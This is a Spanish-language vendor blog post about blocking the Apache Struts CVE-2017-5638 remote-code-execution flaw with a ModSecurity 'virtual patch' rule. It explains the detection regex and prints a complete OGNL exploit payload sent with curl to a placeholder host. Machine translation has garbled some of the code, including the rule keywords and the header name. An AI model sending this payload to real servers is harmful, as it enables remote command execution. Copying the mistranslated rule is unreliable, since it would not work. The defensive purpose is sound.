Uso de ModSecurity para parchear virtualmente Apache Struts CVE-2017-5638

[ Editor – El módulo WAF NGINX ModSecurity para NGINX Plus dejó de venderse oficialmente el 1 de abril de 2022 y su transición al fin de su vida útil será efectiva el 31 de marzo de 2024. ] Para obtener más detalles, consulte F5 NGINX ModSecurity WAF está en transición al final de su vida útil<.htmla> en nuestro blog.]

Se encuentran muchas vulnerabilidades de seguridad en las bibliotecas utilizadas por el código de la aplicação . Cuando no es práctico implementar rápidamente una solución al código de una biblioteca, es posible que pueda usar ModSecurity para interceptar una vulnerabilidad y “parchear virtualmente” el código afectado hasta que pueda actualizar las bibliotecas afectadas.

La vulnerabilidad de la biblioteca de aplicação Apache Struts ( CVE-2017-5638 ), que provocó la violación de 143 millones de cuentas en Equifax , es un ejemplo de explotación que prácticamente se puede parchar. La firma de la vulnerabilidad es la presencia de cadenas #cmd= o #cmds= en los encabezados HTTP Content-Type , Content-Disposition o Content-Length . (Para más detalles, ver más abajo .)

Usando ModSecurity, podemos crear un parche virtual con una regla simple que busca las cadenas maliciosas en los encabezados HTTP afectados:

Regla de seguridad ENCABEZADOS DE SOLICITUD: Tipo de contenido | ENCABEZADOS DE SOLICITUD: Longitud del contenido | ENCABEZADOS DE SOLICITUD: Disposición del contenido "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

Definimos la regla con SecRule , proporcionando tres parámetros:

1. Los encabezados de solicitud a buscar, en forma de tres variables REQUEST_HEADERS unidas mediante OR
2. La expresión regular compatible con PERL (PCRE), según lo especificado por @rx , que busca en los encabezados de solicitud especificados cadenas que incluyan #cmd= o #cmds=
3. La acción a tomar

Si ModSecurity está configurado en modo de bloqueo activo , descarta cualquier tráfico que coincida con el PCRE y, por lo tanto, activa la regla.

Aprenda cómo comenzar a utilizar NGINX y ModSecurity junto con nuestro libro electrónico: ModSecurity 3.0 y NGINX: GUÍA DE INICIO RÁPIDO

¿Por qué Virtual Patch?

En muchos casos, es más rápido implementar una regla en ModSecurity que parchear el código afectado, volver a probarlo y luego implementarlo en producción.

Consideremos la vulnerabilidad de Apache Struts como ejemplo: dado que Struts es una biblioteca de aplicação y no un paquete de sistema operativo, actualizarlo en un entorno de producción empresarial puede llevar algún tiempo. Como parte de la actualización a una nueva versión de Struts, cada aplicação dependiente de Struts debe reconstruirse y probarse con la última biblioteca de Struts. Una organización grande puede tener cientos de aplicações, cada una con su propia versión de la biblioteca de aplicação Struts, lo que la hace vulnerable hasta que se actualice cada aplicação .

Con la regla personalizada ModSecurity implementada, puede aplicar parches al software de producción con cuidado y según un cronograma razonable, sin la presión de ser vulnerable. Una vez que se haya actualizado todo el software afectado, se podrá desmantelar la regla personalizada.

Cómo funciona el exploit CVE-2017-5638

Apache Struts CVE-2017-5638 es una vulnerabilidad de ejecución remota de comandos (RCE). Este tipo de vulnerabilidad permite al atacante ejecutar comandos arbitrarios, como /bin/bash o cmd.exe , en los sistemas de destino. Con esa capacidad, el atacante puede entonces buscar datos confidenciales en el sistema de archivos y en la red, con el mismo nivel de acceso que el servidor de aplicação Java. Por ejemplo, si el servidor de aplicação Java se ejecuta como root , entonces el atacante tiene privilegios de root en el sistema de destino.

Según el CVE oficial , la vulnerabilidad se produce cuando un atacante envía un encabezado HTTP Content-Type , Content-Disposition o Content-Length malformado. Apache Struts genera una excepción cuando esos encabezados HTTP no coinciden con ninguno de los valores esperados. El problema se produce porque el código de manejo de excepciones intenta imprimir el encabezado no válido y sin escape. (En este contexto, “sin escape” significa que los comandos sospechosos no tienen prefijos que impidan su ejecución –caracteres de escape– como suele hacerse al imprimir código).

El atacante puede colocar una expresión de biblioteca de navegación de gráficos de objetos (OGNL) en el encabezado Content-Type . OGNL tiene la capacidad de ejecutar comandos del sistema. Cuando se imprime el encabezado no válido y sin escape, se evalúa la expresión OGNL y se ejecuta cualquier comando del sistema dentro de la expresión OGNL.

Los exploits normalmente son una variación del comando curl que aparece a continuación.

curl -H "Tipo de contenido:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.ejemplo.com

La sintaxis clave está en la segunda mitad del comando: una instancia de cada una de las cadenas #cmd= y #cmds= (resaltadas arriba). Cada una de las cadenas va seguida del comando del sistema para ejecutarla.

resumen

La solución preferida es siempre parchar el software vulnerable inmediatamente. Pero aplicar parches al software de producción puede llevar mucho tiempo y apresurar las actualizaciones puede ser riesgoso. Crear un parche virtual para software vulnerable con ModSecurity puede ganar tiempo.

Con la aplicación de parches virtuales, se crea una regla ModSecurity personalizada para bloquear el tráfico que podría explotar la vulnerabilidad de seguridad, como CVE-2017-5638 . Al hacerlo, protege su sitio del ataque. Luego, puedes parchar los servidores de producción con cuidado y según un cronograma razonable, sin temor a ser víctima mientras tanto.

Si desea obtener más información sobre ModSecurity y NGINX ModSecurity WAF, descargue nuestro libro electrónico, ModSecurity 3.0 y NGINX: Guía de inicio rápido .

Recursos

• CVE-2017-5638 – El aviso oficial de CVE
• CVE-2017-5638: Anatomía de la vulnerabilidad de Apache Struts : una valiosa descripción general de la vulnerabilidad
• Boletín de seguridad de Apache Struts S2‑045 : página de Apache Struts sobre la vulnerabilidad de seguridad, con una solución alternativa
• Comentario de usuario en el foro de ArsTechnica : Explicación de por qué no es fácil parchar Apache Struts

El módulo WAF NGINX ModSecurity para NGINX Plus dejó de venderse oficialmente el 1 de abril de 2022 y su transición al fin de su vida útil será efectiva el 31 de marzo de 2024 . Para obtener más detalles, consulte F5 NGINX ModSecurity WAF está en transición al final de su vida útil<.htmla> en nuestro blog.]